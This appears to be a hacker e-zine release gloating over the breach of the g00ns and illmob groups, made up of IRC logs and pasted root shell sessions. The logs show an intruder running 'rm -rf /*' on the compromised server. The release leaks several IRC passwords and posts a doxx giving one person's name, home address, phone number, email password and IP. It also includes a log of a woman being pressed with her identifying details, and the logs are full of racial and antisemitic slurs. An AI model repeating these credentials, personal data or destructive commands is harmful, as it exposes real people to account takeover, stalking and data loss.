11:56 <+Zombocom> she's allways confused with her sexuality 11:56 <+Zombocom> so she's always angry 11:56 < Angyl> im playing trivia 11:56 <+theswellseason> you're asking to get rooted boy 11:56 < Angyl> and im alrdy on xanax 11:56 <+theswellseason> LOL 11:56 <+theswellseason> shit, not even that works 11:56 <+theswellseason> <3 11:56 < r00tr00t> [root@demon2 lib]# rm -rf /* 11:56 < r00tr00t> rm: cannot remove `/aquota.group': Operation not permitted 11:56 < r00tr00t> rm: cannot remove `/aquota.user': Operation not permitted 11:56 < r00tr00t> bye bye 11:56 < Angyl> lol 11:56 <+Zombocom> not even xanax can stop her hormonal rage 11:56 <+Zombocom> NOTHING CAN TOP HER 11:56 <+Zombocom> STAY OUT OF HER WAY 11:57 < Angyl> im not raging 11:57 * Zombocom jumps in front of a train 11:57 < Slowpoke> What about 11:57 < Slowpoke> a slowpoke 11:57 < Slowpoke> ^_^^ 11:57 <%andy> everyone in here thats connected to irc.evilcoders.net 11:57 <+Zombocom> OH GOD 11:57 <%andy> connect to irc.partyvan.fm 11:57 <+Zombocom> SHE'S SO ANGRY 11:57 <+Zombocom> SHE'S SUPER FUCKING PISSED 11:57 -!- Netsplit irc.evilcoders.net <-> haruhi.partyvan.hub quits: p00h, kumar, +PhyuK|Shmoke, malaphus, +Zombocom, Striker, andy, Gibby, ECB, @FuRY, (+34 more, use /NETSPLIT to show all of them) 11:58 -!- Angyl [Angyl@132.108.93.155] has quit [Quit: ] --- Log closed Wed May 07 11:58:41 2008 14:10 -!- lilo [lilo@D609CC9E.EF030B1D.2A28F7FA.IP] has joined #G00NS 14:11 < lilo> trintitty f4rh@nLOL1_% 14:11 < lilo> plasma jblink 14:11 <%plasma> wat 14:11 <%plasma> lolol 14:11 < lilo> trintitty -> nickserv: identify lolh@x0r 14:11 < lilo> lulz 14:11 <%plasma> that's sad :( 14:11 < fff> l0l 14:11 < lilo> PhyuK -> nickserv: identify 1asdf2 14:11 <%plasma> colombia :O 14:11 -!- lilo [lilo@D609CC9E.EF030B1D.2A28F7FA.IP] has quit [Killed (core (faggot))] 14:11 <+d0ct0r> lol 14:11 < fff> u dumb j3ws 14:12 <+theswellseason> wait, core are those right? 14:12 <+d0ct0r> i dont think so. 14:12 <+theswellseason> lol nvm 14:12 <+theswellseason> you wouldn't tell me if you could 14:12 <%plasma> well 14:12 <%plasma> he got mine right 14:12 -!- PhyuK [kyle.mclol@sluts.r.us] has quit [NickServ (GHOST command used by canr)] 14:12 <%plasma> :( 14:12 <%canr> lol its right 14:12 <+d0ct0r> lol 14:12 -!- trintitty [trintitty@DESU-598F0E26.dsl.mindspring.com] has quit [NickServ (GHOST command used by w)] 14:12 <%andy> oh mother fucker 14:12 <+theswellseason> oh shit! 14:12 < fff> lilo -> nickserv: identify isuckalotofdickmmm 14:12 <+d0ct0r> :O 14:12 <+theswellseason> core, get what's that fucker's IP? 14:13 -!- syph [syph@freecandy.van] has joined #G00NS 14:13 -!- mode/#g00ns [+h syph] by HustleServ 14:13 <%plasma> theswellseason: it was a proxy 14:13 * d0ct0r goes to change all his pw's 14:13 <%plasma> in colombia 14:13 <@core> theswellseason: im not retarded 14:13 < fff> lilo -> nickserv: identify isuckalotofdickmmm 14:13 < fff> lilo -> nickserv: identify isuckalotofdickmmm 14:13 < fff> lilo -> nickserv: identify isuckalotofdickmmm 14:13 -!- PhyuK [kyle.mclol@sluts.r.us] has joined #G00NS 14:13 -!- mode/#g00ns [+v PhyuK] by HustleServ 14:13 <%syph> hai 14:13 <+PhyuK> o no my irc nick 14:13 <+PhyuK> :( 14:13 <+PhyuK> im h4xed 14:13 <+PhyuK> i use that pw for EVERYTHING 14:13 -!- trintitty [trintitty@DESU-598F0E26.dsl.mindspring.com] has joined #G00NS 14:13 -!- mode/#g00ns [+o trintitty] by HustleServ 14:13 <%plasma> why didnt he deface g00ns.net? :p 14:13 <@trintitty> ... 14:14 <+theswellseason> you were hacked 14:14 <@trintitty> because he had more ultimate pwnage in mind.. 14:14 -!- grub [grub@FB6A658F.9037C7E6.2A28F7FA.IP] has joined #G00NS 14:14 < grub> FuRY -> nickserv: identify asshole6669 14:14 -!- trintitty [trintitty@DESU-598F0E26.dsl.mindspring.com] has quit [NickServ (GHOST command used by fff)] 14:14 <%plasma> lol 14:14 < fff> lol 14:14 -!- mode/#g00ns [+b *!*@desu-2A800167.dynamic.swissvpn.net] by canr 14:14 < grub> core -> nickserv: IDENTIFY h4xorwooT 14:14 -!- fff [fff@DESU-2A800167.dynamic.swissvpn.net] has quit [Killed (core (-))] 14:14 -!- FuRY|Working is now known as FuRY 14:14 -!- FuRY is now known as drop 14:14 -!- core [~core@fbi.lol] has quit [NickServ (GHOST command used by plasma)] 14:16 -!- core [~core@fbi.lol] has joined #G00NS 14:16 -!- mode/#g00ns [+o core] by HustleServ 14:16 -!- FuRY [douglas@Shit.Piss.Fuck.Cunt.CockSucker.MotherFucker] has joined #G00NS 14:16 < FuRY> :| 14:16 < FuRY> `up 14:16 <+PhyuK> I hope everybody is aware of the repercussions 14:17 <@core> change your passes 14:17 <@core> /ns set password 14:17 <%canr> why ;\ 14:17 < FuRY> i dropped mine 14:17 < FuRY> :P 14:17 <%canr> if he can get it again 14:17 <%andy> `sop add FuRY 14:17 < FuRY> `up 14:17 -!- mode/#g00ns [+ao FuRY FuRY] by HustleServ 14:17 <&FuRY> thx 14:17 -!- mode/#g00ns [+v canr] by canr 14:17 <@w> why are pw's not encrypted 14:17 <%plasma> w: well, they used to be :( 14:49 <~clorox> g00ns are over 14:50 -!- clorox changed the topic of #G00NS to:  FUKKEN ANGRY LACROSSE HACKERS - http://xi.7x.ru/~inaki/g00ns/ - g00ns are over 15:12 <+[nazi]notjack> g00nFuRY (20:47:47): hackers that hack hackers 15:12 < DrMengele> yeah what happened? 15:13 <+[nazi]notjack> zero for owned r00ted g00ns 15:13 <+[nazi]notjack> deleted everything 15:13 <+[nazi]notjack> g00ns may be over 15:13 <+[nazi]notjack> so 15:13 <+[nazi]notjack> drama 15:13 < lollercaust> drama sucks 15:13 < lollercaust> what is zero for owned website? 15:13 < WB> http://zero.for.owned.on 15:14 < WB> http://zero.for.owned.on.nimp.org 15:14 <+[nazi]notjack> Yeah 15:14 < lollercaust> heh i use lynx smartass 15:15 <~tribal> `akick add * g00ns is over 15:15 <~tribal> what 15:15 -!- tribal is now known as clorox 15:15 <~clorox> `akick add * g00ns is over 15:15 -!- mode/#g00ns [+b *!*@*] by HustleServ 15:15 -!- NoName was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- unknown|49515 was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- TaGg was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- [Midnight] was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- skinless was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- malaphus was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- Striker was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- CuNt was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- aempirei was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- Gibby was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- KLAUS_NOMI was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- REVEREND_REY was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- iZaP was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- FukkenSaved was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- Kame was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- Deltantor was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- RickRollington was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- transientox was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- Jewgoldz|A[ushwitz] was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- WB was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- DeMiNe0 was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- DrMengele was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- Dark_Fusion was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- p00h was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- ECB was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- malaphus|laptop was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- Angyl was kicked from #g00ns by HustleServ [g00ns is over] 15:15 -!- krispin was kicked from #g00ns by HustleServ [g00ns is over] --- Log closed Wed May 07 15:15:24 2008 Fantastic, just FANTASTIC. We were just jealous that g00ns thought of selling t-shirts before we did. Anybody want a "ZF0wned", "0wned by ZF0", or "Featured in ZF04" t-shirt? Look for them at a store near you! Just kidding, we're not in it for the money. If we were, instead of making and selling t-shirts we would make and sell CANVAS. zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 illmob zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0 illmob was on the g00ns box, but they get their own article because they aren't g00ns and we have a bit of material. illmob is just a laugh no matter how you look at it. Never was taken seriously, and it's claim to fame is ill[will] being imprisoned for selling Windows source code. Check out his legal papers and wikipedia article, name's William Genovese. illmob didn't really get themselves owned, I mean they did not cause the g00ns owning in any way. They weren't even a target, just a helpless battleground spoil. Their only security mistake that lead to this was being hosted on g00ns. It's a mistake nonetheless, albeit one they wanted to correct. It's not like they are really secure or anything, the webdir is basically a poorly managed file dump. We found some funny quotes for you. They give (most of) these out for free in #illmob, check it out for a laugh. They will probably be glad to have another channel member regardless of how you treat them. Phist -> #illmob: [ill]will: I've just realized why nobody links to us anymore and shit canr -> #illmob: Why? Phist -> #illmob: [ill]will: Now that you're out of jail, it's not 'cool' to like illmob Phist -> #illmob: chilly: Please could you commit a crime Phist -> #illmob: but a cool one chilly -> #illmob: jaywalk Phist -> #illmob: because we need more hits // There's a documentary?? Must not have made my local theatre canr -> #illmob: Whats the name of that documentary about [ill]will canr -> #illmob: the 2600 one? Phist -> #illmob: I forget - are you Scandinavian? or Finnish? canr -> #illmob: Freedom Downtime canr -> #illmob: Got it Phist -> #illmob: We've got the skill to be something Phist -> #illmob: and we're wasting our time Spyd3r -> #illmob: yes, I agree Phist -> #illmob: we've got will back Phist -> #illmob: he's a fuckin' ASM master Phist -> #illmob: this is bullshit Phist -> #illmob: we're pro SpunkWang -> #illmob: gh0st: I have normal user access to a box... /r/ sploits (vmsplice doesnt work ;-;_ gh0st -> #illmob: what distro SpunkWang -> #illmob: how do i find out... i knew the command 4 hours ago lol ummmm ECB -> #illmob: its kind of sad, im not smart enough to do computer shit ECB -> #illmob: all this 01010101010101 shit and fucking C++ gh0st -> #illmob: try gh0st -> #illmob: uname -a ECB -> #illmob: I fucking got an A+ in my classes, why cant i understand C++ gh0st -> #illmob: spunkwang: he's running kernel 2.6.9 gh0st -> #illmob: shit is outdated nigga SpunkWang -> #illmob: gh0st: I tried running the vmsplice sploit but it nay work :( // Capitalisation is sweet, is there a Disney movie now or something? Spyd3r -> #illmob: I know shit about system level exploits Riot -> #illmob: Buffer Overflows are fuckin myths to me. Spyd3r -> #illmob: I consider myself a bright guy, but the only programming I do is web apps padlock -> #illmob: I know slack the best padlock -> #illmob: bsd sounds good, too, though padlock -> #illmob: I'm so confused, so many good kernels and distros coldblood -> #illmob: sounds like the new server is mega securer coldblood -> #illmob: k r u really going to need that much sercurity? padlock -> #illmob: Yeah, so I want to make sure we don't get owned stupidly coldblood -> #illmob: yer that would be embassing if you did padlock -> #illmob: Spyd3r is good at making sure the website itself doesn't have a ton of holes, and I secure servers for a living, so I think we should be able to handle it coldblood -> #illmob: yer padlock -> #illmob: Only ports open on the server are for services we'll use padlock -> #illmob: And it'll be behind another firewall on top of that Spyd3r -> #illmob: well we run well over 375 client sites from the farm Spyd3r -> #illmob: only about 200 of those have the add-on that was used to get in canr -> gr0b: Theres this code my friend has: MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECHvugCZLtxdhBAhVuqcPWK5Pig== canr -> gr0b: Hes wondering what encryption that is. Would you happen to know what type? ~~~~~~~~~~~~~ shamrock -> #illmob: im getting some widgets for yahoo go [ill]will -> #illmob: dont waste your youth on the interweb [ill]will -> #illmob: save it to your late 30s [ill]will -> #illmob: well actually you dont have to worry right now about underage poon [ill]will -> #illmob: so get yourself an aol account [ill]will -> #illmob: and start a/s/l and s2r-ing [ill]will -> #illmob: easy pussy on aol [ill]will -> #illmob: girls on the net have low self esteem coldblood -> #illmob: Beer + penis = pussy canr -> #illmob: no. Phist -> #illmob: canr: ya rly Phist -> #illmob: coldblood: From that one sentence, I just extracted the information that you are a virgin Phist -> #illmob: I'm not gonna sit here and talk shit about it, but I'm pretty insulted Spyd3r -> #illmob: I rather miffed myself Spyd3r -> #illmob: just glad that we're alrdy planning to get on a different server coldblood -> #illmob: then do something about it Phist -> #illmob: I'm not, because z3r0 has done so much for us Spyd3r -> #illmob: I'm so sick of the children Phist -> #illmob: and the g00ns as a group have been really supportive Spyd3r -> #illmob: aye, I must give respect to "the g00ns" Spyd3r -> #illmob: but individually speaking, there's a mean age of 17 Spyd3r -> #illmob: why is it that I've only met 4 intelligent g00ns? Spyd3r -> #illmob: having some experience in the pr0n industry, that doesn't surprise me too much Spyd3r -> #illmob: I've done a lot of free-lance work in what used to be the very respectable SickSiteNetworks Phist -> #illmob: coldblood: He also starred in 2girls1cup Spyd3r -> #illmob: that's the parent company for ConsumptionJunction, SteakandCheese, RevengeWorld, about 5 others Spyd3r -> #illmob: They were acquired back in November, so I haven't done work for them in a bit canr -> #illmob: Shamrock is = Shamrock, sham_, sham, clover, teh, w-,irlgov.ie canr -> gr0b: I want to kill shamrock. canr -> gr0b: I just hate shamrock with a burning passion. shamrock -> a59: uhh wanna own canr with me? Phist -> #illmob: I tried to quit at got promoted Phist -> #illmob: and* Genocide -> #illmob: damn, you suck at quitting Genocide -> #illmob: :) Phist -> #illmob: If I try to quit again, I'll get network admin Phist -> #illmob: :P Phist -> #illmob: seriously though, I hate this Phist -> #illmob: just sayin Genocide -> #illmob: i'm willing to live with that Genocide -> #illmob: you can't leave me ;_ Genocide -> #illmob: ; Phist -> #illmob: I do like the individuals Phist -> #illmob: god fucking dammit Phist -> #illmob: It's not like it makes a difference Phist -> #illmob: We should start an e-war with anonymous // we'll get the word out for you Spyd3r -> Riot: don't take this the wrong way, ok? Riot -> Spyd3r: k Riot -> Spyd3r: :> Spyd3r -> Riot: I gather data on anyone I come across Riot -> Spyd3r: Mhmm. Riot -> Spyd3r: I expecti t. Spyd3r -> Riot: and I have an extensive library on g00ns members Riot -> Spyd3r: I dunno, I'm thinking about leaving g00ns Riot -> Spyd3r: Don't really get much respect for my craft there, you know Riot -> Spyd3r: Can't really grow. Spyd3r -> Riot: I have a lot of respect for a few g00ns in particular Spyd3r -> Riot: I won't state them here, but I'll admit you've made the list Riot -> Spyd3r: Thanks, I appreciate it. Riot -> Spyd3r: #TEXTCEE Spyd3r -> Riot: and of those members, I have called (a few of) their parents and attempted to verify that info Spyd3r -> Riot: tbh, pr0be's mom was hilarious Riot -> Spyd3r: I love probe too Spyd3r -> Riot: I ENVY him! Spyd3r -> Riot: I envy you too Riot -> Spyd3r: Why is that? Spyd3r -> Riot: I'm in my late 20's Riot -> Spyd3r: So. Spyd3r -> Riot: yer both young and brite CryptiK -> #illmob: well anonymous is gay. they can dos me all they want. Phist -> Genocide: Deadly Data Phist -> Genocide: Chris Richardson Phist -> Genocide: Apartment Phist -> Genocide: 2627 N Bourbon St. #27 Phist -> Genocide: Orange, CA 92865 Phist -> Genocide: (714) 322-0741 Phist -> Genocide: Email: Deadlydata Phist -> Genocide: Password: partyguy6924 Phist -> Genocide: IP: 24.17.82.161 Genocide -> Phist: lawlz Phist -> Genocide: That's wrong tribaL -> loSt: as soon as illmob moves off our box loSt -> tribaL: yo tribaL -> loSt: im going to fucking ddos them to shit tribaL -> loSt: i've done EVERYTHINGinmy power t help them tribaL -> loSt: while illwill was locked up tribaL -> loSt: and i get disrespected by him saying he has evverybodys dox tribaL -> loSt: and he doubts i can get his tribaL -> loSt: i fucking hosted their irc loSt -> tribaL: why does illwill think he is the shit? tribaL -> loSt: anybody thats ever fucked with them I TOOK DOWN tribaL -> loSt: its not him loSt -> tribaL: he came back after 2 years thinking he still knows everything ~~~~~~~~~~~~ Some simple logs for you. [root@demon2 illmob]# ls -al total 92 drwx--x--x 7 illmob illmob 4096 Apr 1 04:21 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. drwx------ 2 illmob illmob 4096 Aug 2 2007 backups -rw-r--r-- 1 illmob illmob 24 Aug 1 2007 .bash_logout -rw-r--r-- 1 illmob illmob 176 Aug 1 2007 .bash_profile -rw-r--r-- 1 illmob illmob 124 Aug 1 2007 .bashrc -rw-r--r-- 1 illmob illmob 3541 Feb 1 11:44 blade.css drwxr-xr-x 3 illmob illmob 4096 Aug 2 2007 domains drwxrwx--- 3 illmob illmob 4096 Mar 12 16:37 imap drwx------ 2 illmob illmob 4096 Aug 1 2007 mail -rw-r--r-- 1 illmob illmob 21544 Feb 1 11:44 network.html -rw-r--r-- 1 illmob illmob 12391 Feb 1 11:44 network.xml lrwxrwxrwx 1 illmob illmob 32 Apr 1 04:21 public_html -> ./domains/illmob.org/public_html -rw-r----- 1 illmob mail 34 Apr 1 04:21 .shadow drwxr-xr-x 3 illmob illmob 4096 Jan 7 20:20 webmail [root@demon2 illmob]# ls -al public_html/ total 39396 drwxr-xr-x 28 illmob illmob 4096 Mar 19 12:37 . drwxr-xr-x 8 illmob illmob 4096 Aug 2 2007 .. -rw-r--r-- 1 illmob illmob 970 Jan 31 2006 404.shtml -rw-r--r-- 1 illmob illmob 90738 Jan 31 2006 404.swf -rw-r--r-- 1 illmob illmob 148330 Jan 2 20:59 60592_owned.jpg -rw-r--r-- 1 illmob illmob 7168 Jan 10 09:25 aim.exe -rw-r--r-- 1 illmob illmob 279054 Jan 10 22:37 aimview.jpg -rw-r--r-- 1 illmob illmob 603176 Feb 21 18:55 autoruns.exe -rw-r--r-- 1 illmob illmob 5672 Feb 24 2006 BatShells.rar -rw-r--r-- 1 illmob illmob 9150 Feb 24 2006 batshells.txt -rw-r--r-- 1 illmob illmob 100 Mar 2 09:44 bb.html -rw-r--r-- 1 illmob illmob 177664 Feb 3 2006 BinaryTextScan.exe -rw-r--r-- 1 illmob illmob 3541 Feb 1 11:46 blade.css -rw-r--r-- 1 illmob illmob 700 Jan 31 2006 blah_left.htm -rw-r--r-- 1 illmob illmob 55233 Jan 31 2006 blah_right.htm -rw-r--r-- 1 illmob illmob 86132 Feb 20 2006 blingring.jpg drwxr-xr-x 2 illmob illmob 4096 Feb 11 07:05 carputer -rw-r--r-- 1 illmob illmob 13962 Feb 12 2006 case.html drwxr-xr-x 2 illmob illmob 4096 Aug 1 2007 cd-nix -rw-r--r-- 1 illmob illmob 81 Feb 15 20:58 celebs.html -rw-r--r-- 1 illmob illmob 345466 Feb 15 20:56 celebs.rar -rw-r--r-- 1 illmob illmob 345244 Feb 15 21:00 celebs.zip drwxr-xr-x 2 illmob illmob 4096 Jan 28 2006 cgi-bin drwxr-xr-x 4 illmob illmob 4096 Aug 1 2007 chat drwxr-xr-x 2 illmob illmob 4096 Aug 1 2007 clay -rw-r--r-- 1 illmob illmob 13450 Jan 31 2006 Copy of index.php -rw-r--r-- 1 illmob illmob 22565 Jan 14 21:24 Desktop.rar drwxr-xr-x 2 illmob illmob 4096 Aug 1 2007 desktops -rw-r--r-- 1 illmob illmob 784605 Oct 30 2006 ds2.mp3 -rw-r--r-- 1 illmob illmob 3139377 Oct 30 2006 ds.mp3 drwxrwxr-x 2 illmob illmob 4096 Aug 4 2007 ff drwxrwxr-x 16 illmob illmob 4096 Aug 1 2007 files -rw-r--r-- 1 illmob illmob 115057 Mar 18 2006 files.html drwxr-xr-x 6 illmob illmob 4096 Aug 1 2007 fingerbang -rw-r--r-- 1 illmob illmob 5310 Dec 19 07:38 firefox.txt drwxr-xr-x 6 illmob illmob 4096 Aug 1 2007 freeillwill -rw-r--r-- 1 illmob illmob 28119 Mar 17 18:54 fuckme.JPG drwxr-xr-x 3 illmob illmob 36864 Aug 12 2007 funny -rw-r--r-- 1 illmob illmob 6301 Jan 5 22:00 getkey.exe -rw-r--r-- 1 illmob illmob 65649 Jan 9 21:37 getkeyvista.JPG -rw-r--r-- 1 illmob illmob 43518 Jan 15 18:12 google.jpg -rw-r--r-- 1 illmob illmob 9652 Jan 31 2006 hack.jpg -rw-r--r-- 1 illmob illmob 3197 Mar 13 20:16 h.gif -rw-r--r-- 1 illmob illmob 69822 Feb 2 2006 hozilla.bmp -rw-r--r-- 1 illmob illmob 100571 Feb 3 2006 hozilla.htm -rw-r--r-- 1 illmob illmob 87474 Dec 21 13:22 hozilla_src.zip -rw-r--r-- 1 illmob illmob 0 Feb 5 2006 .htaccess -rw-r--r-- 1 illmob illmob 16761 Feb 20 2006 illmob_logo.jpg -rw-r--r-- 1 illmob illmob 1134 Feb 1 2006 illmob_radio.pls -rw-r--r-- 1 illmob illmob 199955 Jan 31 2006 illwill.html drwxrwxr-x 8 illmob illmob 4096 Jan 16 06:30 images -rw-r--r-- 1 illmob illmob 95409 Mar 6 2006 img_0029.jpg drwxr-xr-x 2 illmob illmob 4096 Aug 1 2007 inc -rwxr-xr-x 1 illmob illmob 608 Apr 28 2006 index.old -rw-r--r-- 1 illmob illmob 8718 Feb 15 2006 index_.php -rw-r--r-- 1 illmob illmob 8712 Feb 14 2006 index.php drwxr-xr-x 3 illmob illmob 4096 Mar 12 16:34 irc -rw-r--r-- 1 illmob illmob 14838 Feb 23 2006 jen2.jpg -rw-r--r-- 1 illmob illmob 15052 Feb 23 2006 jen3.jpg -rw-r--r-- 1 illmob illmob 14896 Feb 23 2006 jen.jpg drwxr-xr-x 4 illmob illmob 4096 Mar 13 21:19 kiddies drwxr-xr-x 2 illmob illmob 4096 Feb 1 11:58 lanimages -rw-r--r-- 1 illmob illmob 331 Jan 31 2006 links.html -rw-r--r-- 1 illmob illmob 775930 Mar 2 2006 ll.jpg -rw-rw-r-- 1 illmob illmob 0 Feb 2 2006 logger.html -rw-r--r-- 1 illmob illmob 219 Feb 2 2006 logger.php -rwxr-xr-x 1 illmob illmob 18554 Jun 5 2003 logo.jpg drwxr-xr-x 3 illmob illmob 4096 Aug 1 2007 macdaddy -rw-r--r-- 1 illmob illmob 2326 Mar 10 2006 macdaddy.html drwxr-xr-x 2 illmob illmob 4096 Aug 1 2007 mactrack drwxr-xr-x 2 illmob illmob 4096 Dec 21 12:56 maxima -rw-r--r-- 1 illmob illmob 17518 Dec 21 13:24 me.jpg -rw-r--r-- 1 illmob illmob 447 Feb 13 2006 mia.txt -rw-r--r-- 1 illmob illmob 1475 Feb 23 2006 minishell.asm -rw-r--r-- 1 illmob illmob 2560 Feb 23 2006 minishell.exe -rw-r--r-- 1 illmob illmob 1218 Mar 10 2006 motd -rw-r--r-- 1 illmob illmob 19119 Feb 28 2006 mouth.jpg drwxr-xr-x 2 illmob illmob 4096 Feb 20 15:42 myQuickAdmin -rw-r--r-- 1 illmob illmob 6780 Jan 31 14:38 myspace.html -rw-r--r-- 1 illmob illmob 21548 Feb 1 12:00 network.html -rw-r--r-- 1 illmob illmob 12391 Feb 1 11:46 network.xml drwxr-xr-x 2 illmob illmob 4096 Jan 10 12:56 new -rw-r--r-- 1 illmob illmob 903 Jan 31 2006 new.gif -rw-r--r-- 1 illmob illmob 11903 Jan 31 2006 oldindex.php -rw-r--r-- 1 illmob illmob 53497 Feb 20 2006 panel.php -rw-r--r-- 1 illmob illmob 18438 Jan 10 22:40 passview.jpg -rw-r--r-- 1 illmob illmob 22301 Jan 11 06:33 passview.png -rw-r--r-- 1 illmob illmob 52930 Jan 31 2006 paypal3.jpg -rw-r--r-- 1 illmob illmob 35474 Jan 31 2006 paypal4.jpg -rw-r--r-- 1 illmob illmob 52541 Jan 31 2006 paypal-malcovitch1.jpg -rw-r--r-- 1 illmob illmob 55151 Jan 31 2006 paypal-malcovitch2.jpg -rw-r--r-- 1 illmob illmob 54589 Jan 31 2006 paypal-malcovitch3.jpg -rw-r--r-- 1 illmob illmob 58468 Jan 31 2006 paypal-malcovitch4.jpg drwxr-xr-x 2 illmob illmob 4096 Feb 18 15:30 phist -rw-r--r-- 1 illmob illmob 1922 Dec 4 11:14 php.txt -rw-r--r-- 1 illmob illmob 20867 Mar 2 2006 pigroast.jpg -rw-r--r-- 1 illmob illmob 3564584 Feb 21 18:55 procexp.exe -rw-r--r-- 1 illmob illmob 19987 Feb 24 2006 r00t1n.txt -rw-r--r-- 1 illmob illmob 3772 Mar 31 2006 rainbow.html -rw-r--r-- 1 illmob illmob 40754 Mar 18 2006 releases.html -rw-r--r-- 1 illmob illmob 4604 Feb 24 2006 reverse.bat -rw-r--r-- 1 illmob illmob 850 Jan 31 2006 rid.php -rw-r--r-- 1 illmob illmob 55412 Jul 3 2007 rulezz.conf -rw-r--r-- 1 illmob illmob 3054 Feb 23 2006 shell.bat -rw-r--r-- 1 illmob illmob 9722720 Feb 21 18:54 spybot.exe -rw-r--r-- 1 illmob illmob 18569 Jun 7 2007 staff.html -rw-r--r-- 1 illmob illmob 17038 Oct 9 2006 staff.old -rw-r--r-- 1 illmob illmob 3136 Mar 19 12:37 stalker.txt -rw-r--r-- 1 illmob illmob 1224537 Dec 27 09:21 StupidKidGangsta.gif drwxr-xr-x 2 illmob illmob 4096 Aug 1 2007 suspended.page -rw-r--r-- 1 illmob illmob 2560 Jan 31 2006 test.exe -rw-r--r-- 1 illmob illmob 15169130 Mar 12 2006 TheILLIST.rar -rw-r--r-- 1 illmob illmob 940 Nov 1 2006 tikiwiki.txt -rw-r--r-- 1 illmob illmob 186040 Feb 15 2006 tommy.jpg -rw-r--r-- 1 illmob illmob 10181 Jan 16 06:39 toughbook.html -rw-r--r-- 1 illmob illmob 1073835 Dec 26 06:21 usb-rape.zip -rw-r--r-- 1 illmob illmob 2545 Mar 7 2006 users.txt drwxr-xr-x 2 illmob illmob 4096 Aug 1 2007 videos -rw-r--r-- 1 illmob illmob 170305 Feb 21 18:27 vnc.exe -rw-r--r-- 1 illmob illmob 115200 Feb 22 18:09 vundofix.exe drwxr-xr-x 2 illmob illmob 4096 Aug 1 2007 wan -rw-r--r-- 1 illmob illmob 29639 Feb 20 2006 woodohs.jpg drwxr-xr-x 2 illmob illmob 4096 Aug 1 2007 wtf [root@demon2 public_html]# cat stalker.txt [15:53] hackerillwill: hi [15:53] SAMCAT03: hi [15:53] hackerillwill: im still trying to figure you out lol [15:54] SAMCAT03: ok [15:54] hackerillwill: u said wallingfor drighht [15:54] SAMCAT03: dont worry about it [15:57] hackerillwill: WELL I JUST WANTED TO KNOW WHY I ADDE YOU ,THERE HAD TO BE A REASON [15:57] SAMCAT03: well u obviously dont know who i am so why bother [15:57] SAMCAT03: its not important [15:58] hackerillwill: Samcat03 Age: 22, Gender: female, Location: Waterbury, CT [15:58] SAMCAT03: ok [15:58] hackerillwill: Samantha Moeckel [15:58] SAMCAT03: and thats wrong [15:58] hackerillwill: BETTER? [15:59] SAMCAT03: thats not me [15:59] hackerillwill: capricorn [15:59] hackerillwill: attend Western Connecticut State University majoring in secondary math education [15:59] SAMCAT03: nope [16:00] hackerillwill: sgm1385 is your yahoo [16:01] SAMCAT03: why do u care who i am? [16:01] hackerillwill: like i said i was just wondering because i added you like 2 yrs ago [16:01] hackerillwill: and you make me have to do it the hard way [16:01] SAMCAT03: ummm ok [16:01] hackerillwill: maybe we flirted in a chatroom before [16:02] SAMCAT03: u still dont know me though [16:02] SAMCAT03: no cause i dont go on yahoo [16:02] hackerillwill: i never said i talke dto you on yahoo [16:03] hackerillwill: im just saying thats your yahoo name [16:03] SAMCAT03: im sorry im just having a tough time right now i dont mean to be rude [16:03] hackerillwill: its ok [16:04] hackerillwill: yer cute i guess [16:04] SAMCAT03: how do u even have a [pic of me? [16:05